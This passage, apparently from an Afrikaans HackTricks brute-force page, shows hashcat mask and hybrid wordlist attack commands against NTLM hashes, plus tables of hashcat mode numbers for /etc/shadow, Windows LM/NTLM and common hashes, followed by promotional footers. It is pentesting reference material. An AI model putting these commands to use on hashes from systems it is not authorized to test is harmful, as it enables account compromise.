?d?s,?u?l?l?l?l?l?l?l?l?1 ## Use it to crack the password hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask ``` * Woordlys + Masker (`-a 6`) / Masker + Woordlys (`-a 7`) aanval ```bash # Mask numbers will be appended to each word in the wordlist hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d # Mask numbers will be prepended to each word in the wordlist hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ``` #### Hashcat modi ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` Kraak van Linux Hashes - /etc/shadow lêer ``` 500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` Kraak Windows Hasse ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` Kraak Algemene Toepassing Hashes ``` 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash 5100 | Half MD5 | Raw Hash 100 | SHA1 | Raw Hash 10800 | SHA-384 | Raw Hash 1400 | SHA-256 | Raw Hash 1700 | SHA-512 | Raw Hash ``` {% hint style="success" %} Leer & oefen AWS Hacking:[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Leer & oefen GCP Hacking: [**HackTricks Opleiding GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Ondersteun HackTricks * Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
\ Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) om maklik te bou en **werkvloei** te **automate** wat aangedryf word deur die wêreld se **meest gevorderde** gemeenskap gereedskap.\ Kry Toegang Vandag: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}